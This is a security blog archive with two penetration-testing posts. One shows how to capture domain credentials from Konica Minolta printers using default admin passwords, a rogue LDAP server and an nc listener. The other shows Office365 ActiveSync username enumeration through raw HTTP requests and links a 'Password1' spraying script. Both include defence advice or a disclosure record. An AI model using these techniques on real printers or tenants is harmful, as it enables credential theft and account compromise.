Tag Archives: Disclosure

It’s just a printer… What’s the worst that could happen?

As you would expect, office printers are often identified when conducting a penetration test of an office network. These devices often seem to be overlooked as there are usually more interesting and direct possibilities to pursue. However as organisations are becoming more security conscious and closing the wide open doors that have typically beckoned to me at the start of the assessment I have taken a renewed interest in these forgotten targets.

The type of printer I seem to see a lot on my engagements is Konica Minolta so that is what I am going to discuss. However I imagine many other makes can be exploited in a similar fashion.

Management Interface

Like a lot of systems, Konica Minolta printers have a Web management interface presented on port 80/443. A password is required in order to access the administrative settings, however unfortunately for a lot of organisations it has a default password that can be found with a quick Google search. There are a few variations depending on the model, but I usually find it is ‘1234567812345678’ or ‘12345678’.

A variety of options are available, however the one that has recently caught my attention is the LDAP connection settings.

A quick word about LDAP and AD

“The Lightweight Directory Access Protocol (LDAP) is a directory service protocol that runs on a layer above the TCP/IP stack. It provides a mechanism used to connect to, search, and modify Internet directories.” – https://msdn.microsoft.com/en-us/library/aa367008(v=vs.85).aspx

In a Windows domain environment you can use LDAP to interact with the Active Directory.

AD will allow a small amount of information to be disclosed with a ‘null bind’ (i.e. No username or password) however nothing like as much as the null sessions of old. In order to obtain a list of users a valid username and password must be used to bind to the server.

LDAP settings

On Konica Minolta printers it is possible to configure an LDAP server to connect to, along with credentials. In earlier versions of the firmware on these devices I have heard it is possible to recover the credentials simply by reading the html source of the page. Now, however the credentials are not returned in the interface so we have to work a little harder.

The list of LDAP Servers is under: Network > LDAP Setting > Setting Up LDAP

The interface allows the LDAP server to be modified without re-entering the credentials that will be used to connect. I presume this is for a simpler user experience, but it gives an opportunity for an attacker to escalate from master of a printer to a toe hold on the domain.

We can reconfigure the LDAP server address setting to a machine we control, and trigger a connection with the helpful “Test Connection” functionality.

Listening for the goods

netcat

If you have better luck than me, you may be able to get away with a simple netcat listener:

sudo nc -k -v -l -p 386

I am assured by @_castleinthesky that this works most of the time, however I have yet to be let off that easy.

Slapd

I have found that a full LDAP server is required as the printer first attempts a null bind and then queries the available information, only if these operations are successful does it proceed to bind with the credentials.

I searched for a simple ldap server that met the requirements, however there seemed to be limited options. In the end I opted to setup an open ldap server and use the slapd debug server service to accept connections and print out the messages from the printer. (If you know of an easier alternative, I would be happy to hear about it)

Installation

(Note this section is a lightly adapted version of the guide here https://www.server-world.info/en/note?os=Fedora_26&p=openldap )

From a root terminal:

Install OpenLDAP,

#> dnf install -y install openldap-servers openldap-clients

#> cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG 

#> chown ldap. /var/lib/ldap/DB_CONFIG

Set an OpenLDAP admin password (you will need this again shortly)

#> slappasswd 
New password:
Re-enter new password:
{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
#> vim chrootpw.ldif
# specify the password generated above for "olcRootPW" section
dn: olcDatabase={0}config,cn=config
changetype: modify
add: olcRootPW
olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
#> ldapadd -Y EXTERNAL -H ldapi:/// -f chrootpw.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "olcDatabase={0}config,cn=config"

Import basic Schemas

#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldif 
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
adding new entry "cn=cosine,cn=schema,cn=config"

#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldif 
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
adding new entry "cn=nis,cn=schema,cn=config"

#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldif 
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
adding new entry "cn=inetorgperson,cn=schema,cn=config"

Set your domain name on LDAP DB.

# generate directory manager's password
#> slappasswd 
New password:
Re-enter new password:
{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx

#> vim chdomain.ldif
# specify the password generated above for "olcRootPW" section
dn: olcDatabase={1}monitor,cn=config
changetype: modify
replace: olcAccess
olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth"
read by dn.base="cn=Manager,dc=foo,dc=bar" read by * none

dn: olcDatabase={2}mdb,cn=config
changetype: modify
replace: olcSuffix
olcSuffix: dc=foo,dc=bar

dn: olcDatabase={2}mdb,cn=config
changetype: modify
replace: olcRootDN
olcRootDN: cn=Manager,dc=foo,dc=bar

dn: olcDatabase={2}mdb,cn=config
changetype: modify
add: olcRootPW
olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx

dn: olcDatabase={2}mdb,cn=config
changetype: modify
add: olcAccess
olcAccess: {0}to attrs=userPassword,shadowLastChange by
dn="cn=Manager,dc=foo,dc=bar" write by anonymous auth by self write by * none
olcAccess: {1}to dn.base="" by * read
olcAccess: {2}to * by dn="cn=Manager,dc=foo,dc=bar" write by * read

#> ldapmodify -Y EXTERNAL -H ldapi:/// -f chdomain.ldif 
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "olcDatabase={1}monitor,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

#> vim basedomain.ldif
dn: dc=foo,dc=bar
objectClass: top
objectClass: dcObject
objectclass: organization
o: Foo Bar
dc: DC1

dn: cn=Manager,dc=foo,dc=bar
objectClass: organizationalRole
cn: Manager
description: Directory Manager

dn: ou=People,dc=foo,dc=bar
objectClass: organizationalUnit
ou: People

dn: ou=Group,dc=foo,dc=bar
objectClass: organizationalUnit
ou: Group

#> ldapadd -x -D cn=Manager,dc=foo,dc=bar -W -f basedomain.ldif 
Enter LDAP Password: # directory manager's password
adding new entry "dc=foo,dc=bar"

adding new entry "cn=Manager,dc=foo,dc=bar"

adding new entry "ou=People,dc=foo,dc=bar"

adding new entry "ou=Group,dc=foo,dc=bar"

Configure LDAP TLS

Create and SSL Certificate
#> cd /etc/pki/tls/certs 
#> make server.key 
umask 77 ; \
/usr/bin/openssl genrsa -aes128 2048 > server.key
Generating RSA private key, 2048 bit long modulus
...
...
e is 65537 (0x10001)
Enter pass phrase: # set passphrase
Verifying - Enter pass phrase: # confirm

# remove passphrase from private key
#> openssl rsa -in server.key -out server.key 
Enter pass phrase for server.key: # input passphrase
writing RSA key

#> make server.csr 
umask 77 ; \
/usr/bin/openssl req -utf8 -new -key server.key -out server.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [XX]: # country
State or Province Name (full name) []: # state
Locality Name (eg, city) [Default City]: # city
Organization Name (eg, company) [Default Company Ltd]: # company
Organizational Unit Name (eg, section) []:Foo Bar # department
Common Name (eg, your name or your server's hostname) []:www.foo.bar # server's FQDN
Email Address []:xxx@foo.bar # admin email
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []: # Enter
An optional company name []: # Enter

#> openssl x509 -in server.csr -out server.crt -req -signkey server.key -days 3650
Signature ok
subject=/C=/ST=/L=/O=/OU=Foo Bar/CN=dlp.foo.bar/emailAddress=xxx@roo.bar
Getting Private key
Configure Slapd for SSL /TLS
#> cp /etc/pki/tls/certs/server.key \
/etc/pki/tls/certs/server.crt \
/etc/pki/tls/certs/ca-bundle.crt \
/etc/openldap/certs/

#> chown ldap. /etc/openldap/certs/server.key \
/etc/openldap/certs/server.crt \
/etc/openldap/certs/ca-bundle.crt

#> vim mod_ssl.ldif
# create new
 dn: cn=config
changetype: modify
add: olcTLSCACertificateFile
olcTLSCACertificateFile: /etc/openldap/certs/ca-bundle.crt
-
replace: olcTLSCertificateFile
olcTLSCertificateFile: /etc/openldap/certs/server.crt
-
replace: olcTLSCertificateKeyFile
olcTLSCertificateKeyFile: /etc/openldap/certs/server.key

#> ldapmodify -Y EXTERNAL -H ldapi:/// -f mod_ssl.ldif 
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "cn=config"

Allow LDAP through your local firewall

firewall-cmd --add-service={ldap,ldaps}

The payoff

Once you have installed and configured your LDAP service you can run it with the following command :

slapd -d 2

The screen shot below shows an example of the output when we run the connection test on the printer. As you can see the username and password are passed from the LDAP client to server.

slapd terminal output containing the username "MyUser" and password "MyPassword"

How bad can it be?

This very much depends on the credentials that have been configured.

If the principle of least privilege is being followed, then you may only get read access to certain elements of active directory. This is often still valuable as you can use that information to formulate further more accurate attacks.

Typically you are likely to get an account in the Domain Users group which may give access to sensitive information or form the prerequisite authentication for other attacks.

Or, like me, you may be rewarded for setting up an LDAP server and be handed a Domain Admin account on a silver platter.

Defence

This is not an issue with the device, it is doing exactly what it is supposed to do. You just need to configure it more securely 🙂

Defending against this issue should be relatively easy.

Change the default admin password to something long and complex, in line with your organisation’s password policy.

Do not use highly privileged accounts for a printer’s LDAP queries. Do use the principle of least privilege.

If possible restrict access to the administration interface to trusted hosts.

Office365 ActiveSync Username Enumeration

TLDR:

There is a simple username enumeration issue in Office365’s ActiveSync, Microsoft do not consider this a vulnerability so I don’t expect they will fix it, I have written a script to exploit this which is available here: https://bitbucket.org/grimhacker/office365userenum

What is ActiveSync?

Exchange ActiveSync in Microsoft Exchange Server lets Windows Mobile powered devices and other Exchange ActiveSync enabled devices to access Exchange mailbox data. Compatible mobile devices can access e-mail, calendar, contact, and task data in addition to documents stored on Windows SharePoint Services sites and Windows file shares. Information synchronized with the mobile devices is retained and can be accessed offline. [https://technet.microsoft.com/en-us/library/aa995986(v=exchg.65).aspx]

What is username enumeration?

Username enumeration is when an attacker can determine valid users in a system.

When the system reveals a username exists either due to misconfiguration or a design decision a username enumeration issue exists.

This is often identified in authentication interfaces, registration forms, and forgotten password functionality.

The information disclosed by the system can be used to determines a list of users which can then be used in further attacks such as a bruteforce – since the username is known to be correct, only the password needs to be guessed, greatly increasing the chances of successfully compromising an account.

The vulnerability

During the assessment of a 3rd party product which utilises ActiveSync, it was noted that the there was a clear response difference between a valid and invalid usernames submitted in the HTTP Basic Authentication Header.

Further investigation revealed that the issue was in fact in Office365 rather than the 3rd party product which was simply acting as a proxy. The domain for Office365’s ActiveSync service is trivial to identify if you have a mobile device configured to use Office365 for email (email app server settings): https://outlook.office365.com

In order to elicit a response from ActiveSync a number of parameters and headers are required, this is described in more detail here: http://mobilitydojo.net/2010/03/17/digging-into-the-exchange-activesync-protocol/

The username enumeration issue exists in the differing response to invalid vs valid usernames submitted in the Authorization header. This request header value consists of the username and password concatenated with a colon (:) separator and Base64 encoded.

The request below contains the following Base64 encoded credentials in the Authorization header: valid_user@contoso.com:Password1

OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 0
Authorization: Basic dmFsaWRfdXNlckBjb250b3NvLmNvbTpQYXNzd29yZDE=

This elicits the following response (“401 Unauthorized”) indicating that the username is valid but the password is not:

HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/8.5
request-id: ab308ea5-9a01-4a1a-8d49-b91b3503e83f
X-CalculatedFETarget: LO1P123CU001.internal.outlook.com
X-BackEndHttpStatus: 401
WWW-Authenticate: Basic Realm="",Negotiate,Basic Realm=""
X-FEProxyInfo: LO1P123CA0018.GBRP123.PROD.OUTLOOK.COM
X-CalculatedBETarget: LO1P123MB0899.GBRP123.PROD.OUTLOOK.COM
X-BackEndHttpStatus: 401
X-DiagInfo: LO1P123MB0899
X-BEServer: LO1P123MB0899
X-FEServer: LO1P123CA0018
WWW-Authenticate: Basic Realm=""
X-Powered-By: ASP.NET
X-FEServer: VI1PR0101CA0050
Date: Wed, 14 Jun 2017 14:35:14 GMT
Connection: close
<snip>

The request below contains the following Base64 encoded credentials in the Authorization header: invalid_user@contoso.com:Password1

OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 2
Authorization: Basic aW52YWxpZF91c2VyQGNvbnRvc28uY29tOlBhc3N3b3JkMQ==

This elicits the following response (“404 Not Found” and “X-CasErrorCode: UserNotFound”)indicating that the username is invalid:

HTTP/1.1 404 Not Found
Cache-Control: private
Server: Microsoft-IIS/8.5
request-id: 6fc1ee3a-ec99-4210-8a4c-12967a4639fc
X-CasErrorCode: UserNotFound
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
X-FEServer: HE1PR05CA0220
Date: Wed, 28 Jun 2017 11:23:03 GMT
Connection: close
Content-Length: 0

By iterating through a list of potential usernames and observing the response, it is possible to enumerate a list of valid users which can then be targeted for further attacks. These attacks may be directly against the authentication, i.e attempting to guess the user’s password to compromise their account, or it may be as part of a social engineering attack e.g sending Phishing emails to known valid users.

It should be noted that this issues requires an authentication attempt and is therefore likely to appear in logs, and has a risk of locking out accounts. However it is also possible that a valid username and password combination will be identified, in which case the response is different depending on if 2FA is enabled or not.

If 2FA is enabled the response is (“403 Forbidden” with title “403 – Forbidden: Access is denied.”):

HTTP/1.1 403 Forbidden
Cache-Control: private
Content-Length: 1233
Content-Type: text/html
Server: Microsoft-IIS/8.5
request-id: 4095f6fa-5151-4699-9ea1-0ddf0cfab897
X-CalculatedBETarget: MM1P123MB0842.GBRP123.PROD.OUTLOOK.COM
X-BackEndHttpStatus: 403
Set-Cookie: <snip>
X-MS-Credentials-Expire: 4
X-MS-Credential-Service-Federated: false
X-MS-Credential-Service-Url: https://portal.microsoftonline.com/ChangePassword.aspx
X-MS-BackOffDuration: L/-480
X-AspNet-Version: 4.0.30319
X-DiagInfo: MM1P123MB0842
X-BEServer: MM1P123MB0842
X-Powered-By: ASP.NET
X-FEServer: DB6PR07CA0008
Date: Fri, 07 Jul 2017 13:11:22 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>403 - Forbidden: Access is denied.</title>
<--snip-->

If 2FA is NOT enabled the response is (“200 OK”):

HTTP/1.1 200 OK
Cache-Control: private
Allow: OPTIONS,POST
Content-Length: 0
Content-Type: application/vnd.ms-sync.wbxml
Server: Microsoft-IIS/8.5
request-id: da269652-6e98-4b49-8f14-ab57e7232b17
X-CalculatedFETarget: MMXP123CU001.internal.outlook.com
X-BackEndHttpStatus: 200
X-FEProxyInfo: MMXP123CA0005.GBRP123.PROD.OUTLOOK.COM
X-CalculatedBETarget: MMXP123MB0750.GBRP123.PROD.OUTLOOK.COM
X-BackEndHttpStatus: 200
MS-Server-ActiveSync: 15.1
MS-ASProtocolVersions: 2.0,2.1,2.5,12.0,12.1,14.0,14.1,16.0,16.1
MS-ASProtocolCommands: Sync,SendMail,SmartForward,SmartReply,GetAttachment,GetHierarchy,CreateCollection,DeleteCollection,MoveCollection,FolderSync,FolderCreate,FolderDelete,FolderUpdate,MoveItems,GetItemEstimate,MeetingResponse,Search,Settings,Ping,ItemOperations,Provision,ResolveRecipients,ValidateCert,Find
Public: OPTIONS,POST
X-MS-BackOffDuration: L/-470
X-AspNet-Version: 4.0.30319
X-DiagInfo: MMXP123MB0750
X-BEServer: MMXP123MB0750
X-FEServer: MMXP123CA0005
X-Powered-By: ASP.NET
X-FEServer: AM5P190CA0027
Date: Mon, 24 Jul 2017 09:50:22 GMT
Connection: close

It should be noted that only users with a valid mailbox are considered to be valid users in this context, therefore a domain account may exist which this enumeration would identify as invalid.

I also checked if this issue affected Microsoft Exchange, or if it was limited to Office365. In my testing I found that only Office365 was affected. I reported this issue to Microsoft, however they do not consider username enumeration to “meet the bar for security servicing”, so I do not expect they will fix this issue.

My continuing mission to replace myself with a small script

In order to automate exploitation of this issue I wrote a simple multi threaded python script. It is available here: https://bitbucket.org/grimhacker/office365userenum

When provided a list of potential usernames (username@domain) this script will attempt to authenticate to ActiveSync with the password ‘Password1’. Valid and invalid usernames are logged along with valid username and password combinations (in case you get lucky).

Disclose Timeline

28 June 2017, 13:30: Emailed secure@microsoft.com with a PGP encrypted PDF explaining issue with example HTTP  requests and responses.

28 June 2017, 22:39: Response from Microsoft (note only relevant section of email included below)

“Thank you for contacting the Microsoft Security Response Center (MSRC).  Upon investigation we have determined that these do not meet the bar for security servicing.  In general, username enumeration does not meet the bar as there are many ways to do this and on its own it does not allow an attacker access or control in any way, as the attacker would still need to bypass login.”

29 June 2017, 09:54: Emailed Microsoft stating intention to disclose in a blog post unless they had any serious objections.

24 July 2017: Details and tool disclosed to the public.

Although I do not agree with Microsoft’s determination that username enumeration is not a security vulnerability, I would like to thank them again for their speedy investigation and response to my report.